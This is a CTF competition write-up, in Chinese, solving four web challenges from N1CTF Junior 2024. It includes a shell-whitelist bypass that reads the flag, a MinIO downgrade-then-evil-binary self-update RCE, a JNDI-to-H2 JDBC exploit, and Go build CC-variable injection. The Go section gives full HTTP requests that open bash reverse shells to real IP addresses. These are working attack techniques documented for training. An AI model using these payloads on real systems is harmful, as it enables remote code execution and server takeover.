N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第1张图片Nu1L - CTF大本营 - 网络安全竞赛平台-i春秋 (ichunqiu.com)icon-default.png?t=N7T8https://www.ichunqiu.com/competition/team/15

赛事举办方信息

Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team

      作为国内TOP CTF战队,Nu1LTeam自2015年10月成立以来,斩获了国内外众多赛事冠军以及闯入DEFCON CTF总决赛,这得益于Nu1L每一位队员的努力。 我们期望发掘以及培养年轻力量,于是自2023年开始,我们决定举办N1CTF Junior,旨在选拔优秀年轻人才加入Nu1LTeam。

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第2张图片一血奖励:(一个月)比赛已经结束,请最终排名前26且符合条件者(目前是2023级就读)的选手将【详细】wp于24小时内(即2/5 21:00)发送至[email protected] 

一血题目奖励我们会发放至注册邮箱

首页 - 网络空间测绘,网络安全,漏洞分析,动态测绘,钟馗之眼,时空测绘,赛博测绘 - ZoomEye("钟馗之眼")网络空间搜索引擎icon-default.png?t=N7T8https://www.zoomeye.org/

浏览器要炸了

目录

名称/排名情况

zako

ezminio

MyGo

Derby

Derby Plus

总结

名称/排名情况

Boogipop: Rank 1
 


小北也是比较意外拿了个第一,各个题目都做的挺顺利(因为有hint,嘿嘿~)N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第3张图片

zako

虽然是个签到题,但这确实是小北做的最久的题了
emmmmm,这个wp也就只有审核可以看到了,这里就说一下我蠢到极致的解法吧,首先我们可以获取execute.sh的内容如下:

#!/bin/bash

reject() {
    echo "${1}"
    exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" '
BEGIN {
    deny="`;&$(){}[]!@#$%^&*-";
    for (i = 1; i <= length(str); i++) {
        char = substr(str, i, 1);

        for (x = 1; x < length(deny) + 1; x++) {
            r = substr(deny, x, 1);
            if (char == r) exit 1;
        }
    }
}
'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=$(echo "${XXXCMD}" | awk -F "|" '
BEGIN {
    allows[1] = "ls";
    allows[2] = "makabaka";
    allows[3] = "whoareu";
    allows[4] = "cut~no";
    allows[5] = "grep";
    allows[6] = "wc";
    allows[7] = "杂鱼杂鱼";
    allows[8] = "netstat.jpg";
    allows[9] = "awsl";
    allows[10] = "dmesg";
    allows[11] = "xswl";
}{
    num = 1;
    for (i = 1; i <= NF; i++) {
        for (x = 1; x <= length(allows); x++) {
            cmpstr = substr($i, 1, length(allows[x]));
            if (cmpstr == allows[x])
                eval_cmd[num++] = $i;
        }
    }
}
END {
    for (i = 1; i <= length(eval_cmd); i++) {
        if (i != 1)
            printf "| %s", eval_cmd[i];
        else
            printf "%s", eval_cmd[i];
    }
}'
)

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"

eval ${eval_cmd}
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#!/bin/bash

reject() {
    echo "${1}"
    exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" '
BEGIN {
    deny="`;&$(){}[]!@#$%^&*-";
    for (i = 1; i <= length(str); i++) {
        char = substr(str, i, 1);

        for (x = 1; x < length(deny) + 1; x++) {
            r = substr(deny, x, 1);
            if (char == r) exit 1;
        }
    }
}
'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=$(echo "${XXXCMD}" | awk -F "|" '
BEGIN {
    allows[1] = "ls";
    allows[2] = "makabaka";
    allows[3] = "whoareu";
    allows[4] = "cut~no";
    allows[5] = "grep";
    allows[6] = "wc";
    allows[7] = "杂鱼杂鱼";
    allows[8] = "netstat.jpg";
    allows[9] = "awsl";
    allows[10] = "dmesg";
    allows[11] = "xswl";
}{
    num = 1;
    for (i = 1; i <= NF; i++) {
        for (x = 1; x <= length(allows); x++) {
            cmpstr = substr($i, 1, length(allows[x]));
            if (cmpstr == allows[x])
                eval_cmd[num++] = $i;
        }
    }
}
END {
    for (i = 1; i <= length(eval_cmd); i++) {
        if (i != 1)
            printf "| %s", eval_cmd[i];
        else
            printf "%s", eval_cmd[i];
    }
}'
)

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"

eval ${eval_cmd}

这是一个sh脚本,其实所做的内容也很简单,设置了11个白名单
其实有用的也就3个wc、ls、grep

  • wc:查看文件行数情况,不可以读取内容
  • grep:可读取文件内容
  • ls:不多说

其次还设置了一个shell环境下的黑名单deny=";&$(){}[]!@#$%^&*-“;,过滤了一些特殊字符。源码没了,感谢@蒋十七`师傅的源码提供,阿里嘎多~

70) {
    	die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
    	die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>
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70) {
    	die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
    	die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

我们可以使用ls指令查看当前所有文件。
 

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第4张图片


并且可以使用grep 进行文件读取
 

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第5张图片


当然flag是不可能被读出来的,接下里就是我的铸币解法了。先说一下思路,我认为这道题php有waf1,shell中有waf2,硬绕waf1 2我觉得我是不行,但是但凡少其中一个waf我都可以做出来,因此想法油然而生了。
我要将如下内容写入pop.php

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这样我就可以避免外层waf了。实现起来也很简单,依次进行如下操作

  • ?.[secret.xswl.io=grep "> pop.php
  • ?.[secret.xswl.io=grep "cmd" inde?.php >> pop.php
  • ?.[secret.xswl.io=grep "system" inde?.php >> pop.php

然后读取一下pop.php的内容。
 

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第6张图片


好了大功告成,那么最后的payload就是
?.[secret.xswl.io=ls';cat /flag'

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第7张图片

ezminio

还好最后一小时放了hint,不然到死都没想到这个思路,其实我感觉这个思路很不,Lolita师傅太强拉
CVE-2023-28432
GitHub - AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCEEXP for CVE-2023-28434 MinIO unauthorized to RCE. Contribute to AbelChe/evil_minio development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/AbelChe/evil_minio
这是去年三月份出的漏洞,原理就是minio 信息泄露拿到管理员账号密码,进而可以自更新rce。但是利用有个前提条件,那就是不能在环境变量配置minisignPubKey,否则会进入verifyBinary检查sha256。那么就不可以自更新rce了。

const (
	// Update this whenever the official minisign pubkey is rotated.
	defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
)

func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo, mode string, reader io.Reader) (err error) {
	if !updateInProgress.CompareAndSwap(0, 1) {
		return errors.New("update already in progress")
	}
	defer updateInProgress.Store(0)

	transport := getUpdateTransport(30 * time.Second)
	opts := selfupdate.Options{
		Hash:     crypto.SHA256,
		Checksum: sha256Sum,
	}

	if err := opts.CheckPermissions(); err != nil {
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
			StatusCode: http.StatusInternalServerError,
		}
	}

	minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey)
	if minisignPubkey != "" {
		v := selfupdate.NewVerifier()
		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
			return AdminError{
				Code:       AdminUpdateApplyFailure,
				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),
				StatusCode: http.StatusInternalServerError,
			}
		}
		opts.Verifier = v
	}

	if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil {
		var pathErr *os.PathError
		if errors.As(err, &pathErr) {
			return AdminError{
				Code: AdminUpdateApplyFailure,
				Message: fmt.Sprintf("Unable to update the binary at %s: %v",
					filepath.Dir(pathErr.Path), pathErr.Err),
				StatusCode: http.StatusForbidden,
			}
		}
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    err.Error(),
			StatusCode: http.StatusInternalServerError,
		}
	}

	return nil
}
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const (
	// Update this whenever the official minisign pubkey is rotated.
	defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
)

func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo, mode string, reader io.Reader) (err error) {
	if !updateInProgress.CompareAndSwap(0, 1) {
		return errors.New("update already in progress")
	}
	defer updateInProgress.Store(0)

	transport := getUpdateTransport(30 * time.Second)
	opts := selfupdate.Options{
		Hash:     crypto.SHA256,
		Checksum: sha256Sum,
	}

	if err := opts.CheckPermissions(); err != nil {
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
			StatusCode: http.StatusInternalServerError,
		}
	}

	minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey)
	if minisignPubkey != "" {
		v := selfupdate.NewVerifier()
		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
			return AdminError{
				Code:       AdminUpdateApplyFailure,
				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),
				StatusCode: http.StatusInternalServerError,
			}
		}
		opts.Verifier = v
	}

	if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil {
		var pathErr *os.PathError
		if errors.As(err, &pathErr) {
			return AdminError{
				Code: AdminUpdateApplyFailure,
				Message: fmt.Sprintf("Unable to update the binary at %s: %v",
					filepath.Dir(pathErr.Path), pathErr.Err),
				StatusCode: http.StatusForbidden,
			}
		}
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    err.Error(),
			StatusCode: http.StatusInternalServerError,
		}
	}

	return nil
}

这是题目版本对应的verifyBinary函数逻辑,可以看到传入了一个publickey进行校验。并且publickey怎么样都是有个值的。
这导致我们无法自更新二开后的minio 二进制文件。那怎么办呢?
这里其实就引入了一个二次思维,我们先将版本退化为不需要校验publickey的版本,然后再上传我们的evil_minio,这样就可以绕过这个机制了
这是2023-2月版本的verrifyBinary方法:

func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo string, mode string, reader []byte) (err error) {
	if !atomic.CompareAndSwapUint32(&updateInProgress, 0, 1) {
		return errors.New("update already in progress")
	}
	defer atomic.StoreUint32(&updateInProgress, 0)

	transport := getUpdateTransport(30 * time.Second)
	opts := selfupdate.Options{
		Hash:     crypto.SHA256,
		Checksum: sha256Sum,
	}

	if err := opts.CheckPermissions(); err != nil {
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
			StatusCode: http.StatusInternalServerError,
		}
	}

	minisignPubkey := env.Get(envMinisignPubKey, "")
	if minisignPubkey != "" {
		v := selfupdate.NewVerifier()
		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
			return AdminError{
				Code:       AdminUpdateApplyFailure,
				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),
				StatusCode: http.StatusInternalServerError,
			}
		}
		opts.Verifier = v
	}

	if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil {
		var pathErr *os.PathError
		if errors.As(err, &pathErr) {
			return AdminError{
				Code: AdminUpdateApplyFailure,
				Message: fmt.Sprintf("Unable to update the binary at %s: %v",
					filepath.Dir(pathErr.Path), pathErr.Err),
				StatusCode: http.StatusForbidden,
			}
		}
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    err.Error(),
			StatusCode: http.StatusInternalServerError,
		}
	}

	return nil
}
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func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo string, mode string, reader []byte) (err error) {
	if !atomic.CompareAndSwapUint32(&updateInProgress, 0, 1) {
		return errors.New("update already in progress")
	}
	defer atomic.StoreUint32(&updateInProgress, 0)

	transport := getUpdateTransport(30 * time.Second)
	opts := selfupdate.Options{
		Hash:     crypto.SHA256,
		Checksum: sha256Sum,
	}

	if err := opts.CheckPermissions(); err != nil {
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
			StatusCode: http.StatusInternalServerError,
		}
	}

	minisignPubkey := env.Get(envMinisignPubKey, "")
	if minisignPubkey != "" {
		v := selfupdate.NewVerifier()
		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
			return AdminError{
				Code:       AdminUpdateApplyFailure,
				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),
				StatusCode: http.StatusInternalServerError,
			}
		}
		opts.Verifier = v
	}

	if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil {
		var pathErr *os.PathError
		if errors.As(err, &pathErr) {
			return AdminError{
				Code: AdminUpdateApplyFailure,
				Message: fmt.Sprintf("Unable to update the binary at %s: %v",
					filepath.Dir(pathErr.Path), pathErr.Err),
				StatusCode: http.StatusForbidden,
			}
		}
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    err.Error(),
			StatusCode: http.StatusInternalServerError,
		}
	}

	return nil
}

在这里假如环境变量中没有配置publickey那么就默认为空,也就绕过了判断。这就符合我们的条件了。在题目环境中环境变量是没配置publickey的,不然也打不了。
题目给的是内网9000端口映射出的服务
http://47.112.112.23:23333icon-default.png?t=N7T8http://47.112.112.23:23333/
我们利用mc 管理工具将其添加进我们的host
mc config host add minio [http://47.112.112.23:23333](http://47.112.112.23:23333) minioadmin minioadmin
目标是默认密码和用户名,权限也是admin,有自更新权限,首先是降级处理。这里我选用的版本是[minio.RELEASE.2023-02-10T18-48-39Z](https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2023-02-10T18-48-39Z)
https://dl.min.io/server/minio/release/linux-amd64/archive/icon-default.png?t=N7T8https://dl.min.io/server/minio/release/linux-amd64/archive/
 

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第8张图片


我们需要这三个文件,下载下来后先给他改个名字,自更新判断的是sha256sum文件的第二个字段。
 

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第9张图片


假如这个字段的版本小于服务器当前的版本,那么就不会自更新,所以我们随便将其改为另一个名字minio.RELEASE.2024-01-15T18-25-24Z,并且将sha256sum文件以及内容也改为如上的名字,之后我们就可以开启自更新了。
mc admin update minio [http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum](http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum) -y
等待大概四分钟,我们就可以看到更新成功。(我服务器是真屎啊,95M传四分钟)
 

image.png


 

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第10张图片


接下来我们该做的就是二次更新替换为evil_minio
编译该项目即可GitHub - AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCEEXP for CVE-2023-28434 MinIO unauthorized to RCE. Contribute to AbelChe/evil_minio development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/AbelChe/evil_minio
然后也是一样的处理,修改名字为超过当前版本的版本即可。这个可以不需要minisig文件,因为绕过了verifyBinary。
mc admin update minio [http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum](http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum) -y
同样也是等待四分钟
 

image.png


 

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第11张图片


最后输入全局后门alive获取flag即可。

MyGo

MyGO!
给了源码分析一下。

package main

import (
	"embed"
	"fmt"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"os/exec"
)

//go:embed public/*
var fs embed.FS

func IndexHandler(c *gin.Context) {
	c.FileFromFS("public/", http.FS(fs))
}

func BuildHandler(c *gin.Context) {
	var req map[string]interface{}

	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})
		return
	}

	if !PathExists("/tmp/build/") {
		os.Mkdir("/tmp/build/", 0755)
	}

	defer os.Remove("/tmp/build/main.go")
	defer os.Remove("/tmp/build/main")

	os.Chdir("/tmp/build/")
	os.WriteFile("main.go", []byte(req["code"].(string)), 0644)
	var env []string

	for k, v := range req["env"].(map[string]interface{}) {
		env = append(env, fmt.Sprintf("%s=%s", k, v))
	}

	cmd := exec.Command("go", "build", "-o", "main", "main.go")
	cmd.Env = append(os.Environ(), env...)

	if err := cmd.Run(); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Build error"})
	} else {
		c.File("/tmp/build/main")
	}
}

func PathExists(p string) bool {
	_, err := os.Stat(p)
	if err == nil {
		return true
	}
	if os.IsNotExist(err) {
		return false
	}
	return false
}

func main() {
	r := gin.Default()
	r.GET("/", IndexHandler)
	r.POST("/build", BuildHandler)
	r.Run(":8000")
}
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package main

import (
	"embed"
	"fmt"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"os/exec"
)

//go:embed public/*
var fs embed.FS

func IndexHandler(c *gin.Context) {
	c.FileFromFS("public/", http.FS(fs))
}

func BuildHandler(c *gin.Context) {
	var req map[string]interface{}

	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})
		return
	}

	if !PathExists("/tmp/build/") {
		os.Mkdir("/tmp/build/", 0755)
	}

	defer os.Remove("/tmp/build/main.go")
	defer os.Remove("/tmp/build/main")

	os.Chdir("/tmp/build/")
	os.WriteFile("main.go", []byte(req["code"].(string)), 0644)
	var env []string

	for k, v := range req["env"].(map[string]interface{}) {
		env = append(env, fmt.Sprintf("%s=%s", k, v))
	}

	cmd := exec.Command("go", "build", "-o", "main", "main.go")
	cmd.Env = append(os.Environ(), env...)

	if err := cmd.Run(); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Build error"})
	} else {
		c.File("/tmp/build/main")
	}
}

func PathExists(p string) bool {
	_, err := os.Stat(p)
	if err == nil {
		return true
	}
	if os.IsNotExist(err) {
		return false
	}
	return false
}

func main() {
	r := gin.Default()
	r.GET("/", IndexHandler)
	r.POST("/build", BuildHandler)
	r.Run(":8000")
}

作用就是一个编译平台,你输入一个code,他就会帮你build,在这个过程中我们可控的东西只有environment变量,那么我们科学上网的时间就到了。
go command - cmd/go - Go Packagesicon-default.png?t=N7T8https://pkg.go.dev/cmd/go#hdr-Environment_variables

法一:

考察 Go build 环境变量注入

题目提供了一个交叉编译 Go 程序的功能, 在编译的时候只有环境变量可控, 所以思路就是通过控制环境变量实现 RCE

var env []string

for k, v := range req["env"].(map[string]interface{}) {
  env = append(env, fmt.Sprintf("%s=%s", k, v))
}

cmd := exec.Command("go", "build", "-o", "main", "main.go")
cmd.Env = append(os.Environ(), env...)

if err := cmd.Run(); err != nil {
  c.JSON(http.StatusOK, gin.H{"error": "Build error"})
} else {
  c.File("/tmp/build/main")
}

因为命令直接使用 exec.Command("go", "build", "-o", "main", "main.go") 运行, 所以不存在 Bash 上下文, 也就不存在 Bash 环境变量注入

因此只能从 go build 命令本身所使用的环境变量入手, 寻找可以命令注入的点

go 命令的相关环境变量可以使用 go env 查看

GO111MODULE=''
GOARCH='arm64'
GOBIN=''
GOCACHE='/root/.cache/go-build'
GOENV='/root/.config/go/env'
GOEXE=''
GOEXPERIMENT=''
GOFLAGS=''
GOHOSTARCH='arm64'
GOHOSTOS='linux'
GOINSECURE=''
GOMODCACHE='/go/pkg/mod'
GONOPROXY=''
GONOSUMDB=''
GOOS='linux'
GOPATH='/go'
GOPRIVATE=''
GOPROXY='https://proxy.golang.org,direct'
GOROOT='/usr/local/go'
GOSUMDB='sum.golang.org'
GOTMPDIR=''
GOTOOLCHAIN='local'
GOTOOLDIR='/usr/local/go/pkg/tool/linux_arm64'
GOVCS=''
GOVERSION='go1.21.6'
GCCGO='gccgo'
AR='ar'
CC='gcc'
CXX='g++'
CGO_ENABLED='1'
GOMOD='/dev/null'
GOWORK=''
CGO_CFLAGS='-O2 -g'
CGO_CPPFLAGS=''
CGO_CXXFLAGS='-O2 -g'
CGO_FFLAGS='-O2 -g'
CGO_LDFLAGS='-O2 -g'
PKG_CONFIG='pkg-config'
GOGCCFLAGS='-fPIC -pthread -Wl,--no-gc-sections -fmessage-length=0 -ffile-prefix-map=/tmp/go-build685738299=/tmp/go-build -gno-record-gcc-switches

不难发现其中 CC 环境变量的值为 gcc, 猜测在 go build 的时候可能会调用 gcc 以完成部分编译流程, 因此可以尝试将 CC 的值替换成任意命令, 实现 RCE

至于为什么会用到 gcc, 原因是 Go 语言支持 CGO 特性, 即使用 Go 调用 C 的函数

Go 与 C 的桥梁:cgo 入门,剖析与实践 - 知乎作者:panhuili,腾讯 IEG 后台开发工程师 Go 作为当下最火的开发语言之一,它的优势不必多说。Go 对于高并发的支持,使得它可以很方便的作为独立模块嵌入业务系统。有鉴于我司大量的 C/C++存量代码,如何将 Go 和…icon-default.png?t=N7T8https://zhuanlan.zhihu.com/p/349197066

编写一个使用 CGO 的 Go 程序需要引入 C 这个包, 即 import "C"

package main

import "C"

func main() {
    println("hello cgo")
}

这样在 build 的时候就会调用 gcc

本地测试

CC='bash -c "id"' go build main.go

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题目出网, 所以直接反弹 shell

POST /build HTTP/1.1
Host: 127.0.0.1:10800
Content-Length: 145
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"CC":"bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'"},"code":"package main\n\nimport \"C\"\n\nfunc main() {\n    println(\"hello cgo\")\n}"}

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然后注意题目环境不支持 CGO 的交叉编译, 因此必须保证 GOOS 和 GOARCH 与题目环境一致, 即 linux 和 amd64

最后, 对于这道题也可以进一步思考, 如果题目环境不出网, 如何带出 flag?

答案是使用 Go embed 特性, Go 语言在编译的时候会将被 embed 的文件一起打包到二进制程序内部

那么就可以先通过 CC 环境变量注入在 go build 时将 flag 写入 /tmp/build 目录, 即项目目录, 因为 Go embed 不能打包位于项目目录之外的文件

CC='bash -c "/readflag > /tmp/build/flag.txt"' go build main.go

然后 build 如下代码, 使用 //go:embed flag.txt 打包 flag.txt, 这一步不需要交叉编译

package main

import (
  "fmt"
  _ "embed"
)

//go:embed flag.txt
var s string

func main() {
    fmt.Println(s)
}

最后下载编译好的二进制文件到本地, 查找 flag

strings main | grep ctfhub

法二:

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我找到了个好玩的变量,那就是CC,这个东西是一个指令,我们可以看看本地
 

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可以发现CC=gcc,这段代码触发的场合如下:

package main

// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//		return f();
// }
//
// int fortytwo()
// {
//	    return 42;
// }
import "C"
import "fmt"

func main() {
	f := C.intFunc(C.fortytwo)
	fmt.Println(int(C.bridge_int_func(f)))
	// Output: 42
}
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package main

// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//		return f();
// }
//
// int fortytwo()
// {
//	    return 42;
// }
import "C"
import "fmt"

func main() {
	f := C.intFunc(C.fortytwo)
	fmt.Println(int(C.bridge_int_func(f)))
	// Output: 42
}

注释中的C代码会被gcc进行编译。我们可以这样测试export CC=whoami
 

image.png


你将会看到一段抛错
 

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那就是gcc被我们改成了whoami,自然就报错了,我们这里就是一个命令注入的点位了。
我们export CC='bash -c "bash -i >& /dev/tcp/8.130.24.188/7775 <&1"'
 

image.png


 

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即可完成注入获取flag。最终payload数据包如下:

POST /build HTTP/1.1
Host: 121.199.64.23:25480
Content-Length: 443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://121.199.64.23:25480
Referer: http://121.199.64.23:25480/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"CC":"bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"",
"GOGCCFLAGS":""},"code":"package main\n\n// #include \n// #include \n//\n// static void myprint(char* s) {\n//   printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n        cs := C.CString(\"Hello from stdio\")\n        C.myprint(cs)\n        C.free(unsafe.Pointer(cs))\n}"}
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POST /build HTTP/1.1
Host: 121.199.64.23:25480
Content-Length: 443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://121.199.64.23:25480
Referer: http://121.199.64.23:25480/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"CC":"bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"",
"GOGCCFLAGS":""},"code":"package main\n\n// #include \n// #include \n//\n// static void myprint(char* s) {\n//   printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n        cs := C.CString(\"Hello from stdio\")\n        C.myprint(cs)\n        C.free(unsafe.Pointer(cs))\n}"}

Derby

法一:

考察 JNDI 注入在高版本 JDK 的绕过

题目直接给出了一个 JNDI 注入

package com.example.derby;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import javax.naming.Context;
import javax.naming.InitialContext;

@RestController
public class IndexController {
    @RequestMapping("/")
    public String index() {
        return "hello derby";
    }

    @RequestMapping("/lookup")
    public String lookup(@RequestParam String url) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup(url);
        return "ok";
    }
}

pom.xml 依


    
        org.springframework.boot
        spring-boot-starter-web
    
    
        com.alibaba
        druid
        1.2.21
    
    
        org.apache.derby
        derby
        10.14.2.0
    

环境特地使用了较新的 Java 17, 由于模块化的访问机制导致不能直接用 TemplatesImpl + Jackson 反序列化一把梭, 已有的 JNDI 利用工具就更不用说了

这道题的思路其实就是两篇文章:

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖跳跳糖 - 安全与分享社区icon-default.png?t=N7T8https://tttang.com/archive/1405/

derby数据库如何实现RCE - lvyyevd's 安全博客前言前段时间遇到了一个后台可以操作数据库语句的地方,且使用的数据库为derby,derby数据库可以作为内嵌数据库,要知道H2数据库可以利用alias别名,调用java代码进行命令执行。猜测derby数据库也有相应功能,一直翻阅官方文档,终于找到了一种RCE利用方式(应该还没有人发吧),在这里记录一icon-default.png?t=N7T8http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

依赖给出了 Druid 连接池, 那么就可以使用 DruidDataSourceFactory 将 JNDI 注入转化为 JDBC 攻击

Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
        "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
        "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
        "$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", JDBC_USER));
ref.add(new StringRefAddr("password", JDBC_PASSWORD));
